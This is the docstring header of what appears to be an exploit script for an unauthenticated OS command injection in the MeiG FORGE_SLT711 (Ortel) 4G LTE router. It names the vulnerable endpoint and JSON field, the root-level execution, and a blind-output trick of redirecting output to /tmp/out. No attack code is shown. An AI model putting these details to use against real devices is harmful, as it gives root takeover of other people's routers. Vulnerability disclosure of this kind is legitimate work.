    """
    Unauthenticated RCE — MeiG FORGE_SLT711 (Ortel 4G LTE CPE)
    GoAhead /action/SetRemoteAccessCfg OS command injection
    
    Vuln:  JSON "password" field → sprintf("echo root:\"%s\"|chpasswd") → system()
    Auth:  None (endpoint missing from route.txt auth list)
    Root:  Commands execute as uid=0(root)
    Type:  Blind — output not in HTTP response, use --cmd "cmd > /tmp/out" to exfil
    
    Discovered: 2026-02-21
    Tested on:  FW MDM9607.LE.1.0-00110-STD.PROD-1
